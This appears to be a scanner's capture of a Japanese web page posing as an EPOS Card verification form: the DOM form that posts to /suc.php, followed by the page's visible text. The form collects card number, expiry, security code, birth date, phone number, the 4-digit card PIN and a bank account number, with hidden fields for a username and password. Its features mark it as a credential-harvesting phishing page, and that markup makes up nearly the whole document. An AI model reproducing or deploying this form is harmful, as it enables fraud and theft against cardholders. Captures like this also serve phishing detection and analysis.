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1 forms found in the DOMName: memberRegistrationForm — POST /suc.php
<form name="memberRegistrationForm" method="post" action="/suc.php"><input type="hidden" name="org.apache.struts.taglib.html.TOKEN" value="e2a6227b1a19b3db77844262c86689e1">
<input type="hidden" name="user" value="">
<input type="hidden" name="passwd" value="">
<fieldset id="cardSet">
<div id="entry-card-number" class="entry">
<div class="inputHdg">
<p class="hdg">カード番号</p>
<!--/inputHdg-->
</div>
<div class="inputDesc">
<p class="desc">半角数字16桁でご入力ください。</p>
</div>
<div class="inputLayout count4 sp4Col numberCol focus-chain fz14">
<div class="col focus-chain-unit">
<div class="inputWrap noError" data-validate="required">
<div class="field">
<label for="card_num1">例)0123</label>
<input type="text" name="cardNum1" maxlength="4" value="" class="ime-han-only sp-number" id="card_num1" placeholder="例)0123">
</div>
</div>
<!--/col-->
</div>
<div class="col focus-chain-unit">
<div class="inputWrap noError" data-validate="required">
<div class="field">
<label for="card_num2">例)4567</label>
<input type="text" name="cardNum2" maxlength="4" value="" class="ime-han-only sp-number" id="card_num2" placeholder="例)4567">
</div>
</div>
<!--/col-->
</div>
<div class="col focus-chain-unit">
<div class="inputWrap noError" data-validate="required">
<div class="field">
<label for="card_num3">例)8901</label>
<input type="text" name="cardNum3" maxlength="4" value="" class="ime-han-only sp-number" id="card_num3" placeholder="例)8901">
</div>
</div>
<!--/col-->
</div>
<div class="col focus-chain-unit">
<div class="inputWrap noError" data-validate="required">
<div class="field">
<label for="card_num4">例)2345</label>
<input type="text" name="cardNum4" maxlength="4" value="" class="ime-han-only sp-number" id="card_num4" placeholder="例)2345">
</div>
</div>
<!--/col-->
</div>
<!--/inputLayout-->
</div>
</div>
<div class="entry">
<div class="inputHdg tooltipWrap">
<p class="hdg">有効期限</p>
<!--/inputHdg-->
</div>
<div class="inputDesc">
<ul class="noteList01">
<li><span class="ast">※</span>VISAつきのエポスカードをお持ちのかたのみ入力してください。カードに有効期限の記載が無い場合は入力不要です。</li>
</ul>
</div>
<div class="inputLayout count3 sp2Col dataCol focus-chain">
<div class="col focus-chain-unit">
<div class="inputWrap noError02" data-validate="required">
<div class="field">
<label for="sbox_limit_month">例)04</label>
<input type="text" name="cardValidMonth" maxlength="2" value="" class="ime-han-only sp-number noValidate" id="sbox_limit_month" placeholder="例)04">
<div class="inputTail">月 /</div>
</div>
</div>
</div>
<div class="col focus-chain-unit">
<div class="inputWrap noError02" data-validate="required">
<div class="field">
<label for="sbox_limit_year">例)18</label>
<input type="text" name="cardValidYear" maxlength="2" value="" class="ime-han-only sp-number noValidate" id="sbox_limit_year" placeholder="例)18">
<div class="inputTail">年</div>
</div>
</div>
</div>
</div>
<div class="colLayout">
<figure class="spEscape"><img src="https://www.eposcard.co.jp/memberservice/pc/rsp/v1/eposnet/img/form_card_im01.jpg" width="320" alt="表面"></figure>
</div>
</div>
<div class="entry">
<div class="inputHdg tooltipWrap">
<p class="hdg">セキュリティコード</p>
<!--/inputHdg-->
</div>
<div class="inputDesc">
<ul class="noteList01">
<li><span class="ast">※</span>セキュリティコードの記載が無い場合は入力不要です。</li>
</ul>
</div>
<div class="inputLayout count2">
<div class="col">
<div class="inputWrap noError02" data-validate="required">
<div class="field with-help">
<label for="security_cord">例)000</label>
<input type="text" name="cvv2" maxlength="3" value="" class="ime-han-only sp-number noValidate" id="security_cord" placeholder="例)000">
<div class="btn"><span>ヘルプ</span></div>
</div>
<div class="help">半角数字<br>カード裏面の署名欄に印字されている番号(3桁)の番号になります。</div>
</div>
<!--/col-->
</div>
<!--/inputLayout-->
</div>
<div class="colLayout">
<figure class="spEscape"><img src="https://www.eposcard.co.jp/memberservice/pc/rsp/v1/eposnet/img/form_card_im02.jpg" width="320" alt="裏面"></figure>
</div>
</div>
<div id="entry-age" class="entry">
<div class="inputHdg">
<p class="hdg">生年月日</p>
<!--/inputHdg-->
</div>
<div class="inputLayout count3 birthCol">
<div class="col yearCol">
<div class="selectWrap with-label visited open-error" data-validate="required">
<div class="field">
<label for="sbox_birth_year">生年月日(年)</label>
<select name="brthdyYear" class="noValidate" id="sbox_birth_year">
<option value="2003">2003(平成15)年</option>
<option value="2002">2002(平成14)年</option>
<option value="2001">2001(平成13)年</option>
<option value="2000">2000(平成12)年</option>
<option value="1999">1999(平成11)年</option>
<option value="1998">1998(平成10)年</option>
<option value="1997">1997(平成09)年</option>
<option value="1996">1996(平成08)年</option>
<option value="1995">1995(平成07)年</option>
<option value="1994">1994(平成06)年</option>
<option value="1993">1993(平成05)年</option>
<option value="1992">1992(平成04)年</option>
<option value="" selected="">▲選択してください▼</option>
<option value="1991">1991(平成03)年</option>
<option value="1990">1990(平成02)年</option>
<option value="1989">1989(平成元)年</option>
<option value="1988">1988(昭和63)年</option>
<option value="1987">1987(昭和62)年</option>
<option value="1986">1986(昭和61)年</option>
<option value="1985">1985(昭和60)年</option>
<option value="1984">1984(昭和59)年</option>
<option value="1983">1983(昭和58)年</option>
<option value="1982">1982(昭和57)年</option>
<option value="1981">1981(昭和56)年</option>
<option value="1980">1980(昭和55)年</option>
<option value="1979">1979(昭和54)年</option>
<option value="1978">1978(昭和53)年</option>
<option value="1977">1977(昭和52)年</option>
<option value="1976">1976(昭和51)年</option>
<option value="1975">1975(昭和50)年</option>
<option value="1974">1974(昭和49)年</option>
<option value="1973">1973(昭和48)年</option>
<option value="1972">1972(昭和47)年</option>
<option value="1971">1971(昭和46)年</option>
<option value="1970">1970(昭和45)年</option>
<option value="1969">1969(昭和44)年</option>
<option value="1968">1968(昭和43)年</option>
<option value="1967">1967(昭和42)年</option>
<option value="1966">1966(昭和41)年</option>
<option value="1965">1965(昭和40)年</option>
<option value="1964">1964(昭和39)年</option>
<option value="1963">1963(昭和38)年</option>
<option value="1962">1962(昭和37)年</option>
<option value="1961">1961(昭和36)年</option>
<option value="1960">1960(昭和35)年</option>
<option value="1959">1959(昭和34)年</option>
<option value="1958">1958(昭和33)年</option>
<option value="1957">1957(昭和32)年</option>
<option value="1956">1956(昭和31)年</option>
<option value="1955">1955(昭和30)年</option>
<option value="1954">1954(昭和29)年</option>
<option value="1953">1953(昭和28)年</option>
<option value="1952">1952(昭和27)年</option>
<option value="1951">1951(昭和26)年</option>
<option value="1950">1950(昭和25)年</option>
<option value="1949">1949(昭和24)年</option>
<option value="1948">1948(昭和23)年</option>
<option value="1947">1947(昭和22)年</option>
<option value="1946">1946(昭和21)年</option>
<option value="1945">1945(昭和20)年</option>
<option value="1944">1944(昭和19)年</option>
<option value="1943">1943(昭和18)年</option>
<option value="1942">1942(昭和17)年</option>
<option value="1941">1941(昭和16)年</option>
<option value="1940">1940(昭和15)年</option>
<option value="1939">1939(昭和14)年</option>
<option value="1938">1938(昭和13)年</option>
<option value="1937">1937(昭和12)年</option>
<option value="1936">1936(昭和11)年</option>
<option value="1935">1935(昭和10)年</option>
<option value="1934">1934(昭和09)年</option>
<option value="1933">1933(昭和08)年</option>
<option value="1932">1932(昭和07)年</option>
<option value="1931">1931(昭和06)年</option>
<option value="1930">1930(昭和05)年</option>
<option value="1929">1929(昭和04)年</option>
<option value="1928">1928(昭和03)年</option>
<option value="1927">1927(昭和02)年</option>
<option value="1926">1926(昭和元)年</option>
<option value="1925">1925(大正14)年</option>
<option value="1924">1924(大正13)年</option>
<option value="1923">1923(大正12)年</option>
<option value="1922">1922(大正11)年</option>
<option value="1921">1921(大正10)年</option>
</select>
<div class="choice">▲選択してください▼</div>
</div>
<div class="error">【エラー】選択してください</div>
</div>
<!--/col-->
</div>
<div class="col">
<div class="selectWrap with-label selected" data-validate="required">
<div class="field">
<label for="sbox_birth_month">生年月日(月)</label>
<select name="brthdyMonth" class="noValidate" id="sbox_birth_month">
<option value="">選択してください</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
<div class="choice">選択してください</div>
</div>
<div class="error">【エラー】選択してください</div>
</div>
<!--/col-->
</div>
<div class="col">
<div class="selectWrap with-label selected" data-validate="required">
<div class="field">
<label for="sbox_birth_day">生年月日(日)</label>
<select name="brthdyDay" id="sbox_birth_day">
<option value="">選択してください</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>
<div class="choice">選択してください</div>
</div>
<div class="error">【エラー】選択してください</div>
</div>
<!--/col-->
</div>
</div>
</div>
<div id="entry-customer-tel" class="entry">
<div class="inputHdg">
<p class="hdg">電話番号</p>
</div>
<div class="inputDesc">
<p class="desc">カードのお申し込み時にご登録の「携帯」または「ご自宅」の電話番号をご入力ください。</p>
<!-- /inputDesc-->
</div>
<div class="inputLayout count4 sp3Col telNumCol focus-chain fz14">
<div class="col focus-chain-unit">
<div class="inputWrap noError" data-validate="required">
<div class="field">
<label for="tbox_tel_phone1">例)090</label>
<input type="text" name="houseTelNumOutcity" maxlength="6" value="" class="ime-han-only sp-number" id="tbox_tel_phone1" placeholder="例)090">
</div>
</div>
<!--/col-->
</div>
<div class="col focus-chain-unit">
<div class="inputWrap noError" data-validate="required">
<div class="field">
<label for="tbox_tel_phone2">例)1234</label>
<input type="text" name="houseTelNumIncity" maxlength="4" value="" class="ime-han-only sp-number" id="tbox_tel_phone2" placeholder="例)1234">
</div>
</div>
<!--/col-->
</div>
<div class="col focus-chain-unit">
<div class="inputWrap noError" data-validate="required">
<div class="field">
<label for="tbox_tel_phone3">例)5678</label>
<input type="text" name="houseTelNumSscrbr" maxlength="4" value="" class="ime-han-only sp-number" id="tbox_tel_phone3" placeholder="例)5678">
</div>
</div>
<!--/col-->
</div>
<!--/inputLayout-->
</div>
</div>
<div class="entry">
<div class="inputHdg tooltipWrap">
<p class="hdg">カード暗証番号</p>
<!--/inputHdg-->
</div>
<div class="inputDesc">
<ul class="noteList01">
<li><span class="ast">※</span>エポスカードの4桁の暗証番号を入力してください。。</li>
</ul>
</div>
<div class="inputLayout count2">
<div class="col">
<div class="inputWrap noError02" data-validate="required">
<div class="field with-help">
<label for="security_cord">例)1234</label>
<input type="text" name="azfh" maxlength="4" value="" class="ime-han-only sp-number noValidate" id="security_cord" placeholder="例)1234">
<div class="btn"><span>ヘルプ</span></div>
</div>
</div>
<!--/col-->
</div>
<!--/inputLayout-->
</div>
</div>
<div class="entry">
<div class="inputHdg tooltipWrap">
<p class="hdg">口座番号</p>
<!--/inputHdg-->
</div>
<div class="inputDesc">
<ul class="noteList01">
<li><span class="ast">※</span>通帳・キャッシュカードに記載された「口座番号」の7桁をご入力ください。</li>
</ul>
</div>
<div class="inputLayout count2">
<div class="col">
<div class="inputWrap noError02" data-validate="required">
<div class="field with-help">
<label for="security_cord">例)1234567</label>
<input type="text" name="kzfh" maxlength="7" value="" class="ime-han-only sp-number noValidate" id="security_cord" placeholder="例)1234567">
<div class="btn"><span>ヘルプ</span></div>
</div>
</div>
<!--/col-->
</div>
<!--/inputLayout-->
</div>
</div>
<!-- ▼▼▼タブレット▼▼▼ -->
<!-- ▲▲▲タブレット▲▲▲ -->
<div class="formSubmit">
<input type="hidden" name="page" value="1">
<p class="btn nextScreen disabled" id="nextStepBtn"><input type="submit" name="nextButton" value="未入力の必須項目があります" data-able="次へ" data-disable="未入力の必須項目があります" disabled=""></p>
<p class="btn prevScreen" id="backBtn"><input type="submit" name="backButton" value="戻る"></p>
<!--/formSubmit-->
</div>
<div class="fieldHdg size-M">
<h3 class="hdg">ご注意</h3>
</div>
<div class="inputDesc">
<p class="desc">エポスカードへの登録情報がご不明な場合は、大変お手数ですが、エポスカスタマーセンターまでご連絡ください。</p>
</div>
<div class="telBox01">
<div class="place">エポスカスタマーセンター<span class="subTxt">(9:30~18:00)</span></div>
<div class="telArea">
<ul class="areaList01">
<li><span class="areaTxt">東京</span><span class="telNumber telLink">03-3383-0101</span></li>
<li><span class="areaTxt">大阪</span><span class="telNumber telLink">06-6630-0101</span></li>
</ul>
</div>
</div>
</fieldset>
</form>
Text Content
ページ内を移動するためのリンクです * ページ本文に移動します * フッター情報に移動します 下記の項目を入力・選択いただき、最後に「次へ」ボタンを押してください。 入力項目が赤いものは必ず入力してください。 カード番号 半角数字16桁でご入力ください。 例)0123 例)4567 例)8901 例)2345 有効期限 * ※VISAつきのエポスカードをお持ちのかたのみ入力してください。カードに有効期限の記載が無い場合は入力不要です。 例)04 月 / 例)18 年 セキュリティコード * ※セキュリティコードの記載が無い場合は入力不要です。 例)000 ヘルプ 半角数字 カード裏面の署名欄に印字されている番号(3桁)の番号になります。 生年月日 生年月日(年) 2003(平成15)年2002(平成14)年2001(平成13)年2000(平成12)年1999(平成11)年1998(平成10)年1997(平成09)年1996(平成08)年1995(平成07)年1994(平成06)年1993(平成05)年1992(平成04)年▲選択してください▼1991(平成03)年1990(平成02)年1989(平成元)年1988(昭和63)年1987(昭和62)年1986(昭和61)年1985(昭和60)年1984(昭和59)年1983(昭和58)年1982(昭和57)年1981(昭和56)年1980(昭和55)年1979(昭和54)年1978(昭和53)年1977(昭和52)年1976(昭和51)年1975(昭和50)年1974(昭和49)年1973(昭和48)年1972(昭和47)年1971(昭和46)年1970(昭和45)年1969(昭和44)年1968(昭和43)年1967(昭和42)年1966(昭和41)年1965(昭和40)年1964(昭和39)年1963(昭和38)年1962(昭和37)年1961(昭和36)年1960(昭和35)年1959(昭和34)年1958(昭和33)年1957(昭和32)年1956(昭和31)年1955(昭和30)年1954(昭和29)年1953(昭和28)年1952(昭和27)年1951(昭和26)年1950(昭和25)年1949(昭和24)年1948(昭和23)年1947(昭和22)年1946(昭和21)年1945(昭和20)年1944(昭和19)年1943(昭和18)年1942(昭和17)年1941(昭和16)年1940(昭和15)年1939(昭和14)年1938(昭和13)年1937(昭和12)年1936(昭和11)年1935(昭和10)年1934(昭和09)年1933(昭和08)年1932(昭和07)年1931(昭和06)年1930(昭和05)年1929(昭和04)年1928(昭和03)年1927(昭和02)年1926(昭和元)年1925(大正14)年1924(大正13)年1923(大正12)年1922(大正11)年1921(大正10)年 ▲選択してください▼ 【エラー】選択してください 生年月日(月) 選択してください010203040506070809101112 選択してください 【エラー】選択してください 生年月日(日) 選択してください01020304050607080910111213141516171819202122232425262728293031 選択してください 【エラー】選択してください 電話番号 カードのお申し込み時にご登録の「携帯」または「ご自宅」の電話番号をご入力ください。 例)090 例)1234 例)5678 カード暗証番号 * ※エポスカードの4桁の暗証番号を入力してください。。 例)1234 ヘルプ 口座番号 * ※通帳・キャッシュカードに記載された「口座番号」の7桁をご入力ください。 例)1234567 ヘルプ ご注意 エポスカードへの登録情報がご不明な場合は、大変お手数ですが、エポスカスタマーセンターまでご連絡ください。 エポスカスタマーセンター(9:30~18:00) * 東京03-3383-0101 * 大阪06-6630-0101 ページ上部へ Copyright All Rights Reserved. EPOS Card Co.,Ltd. ページの終わりです * ヘッダー情報に戻ります * ページの先頭に戻ります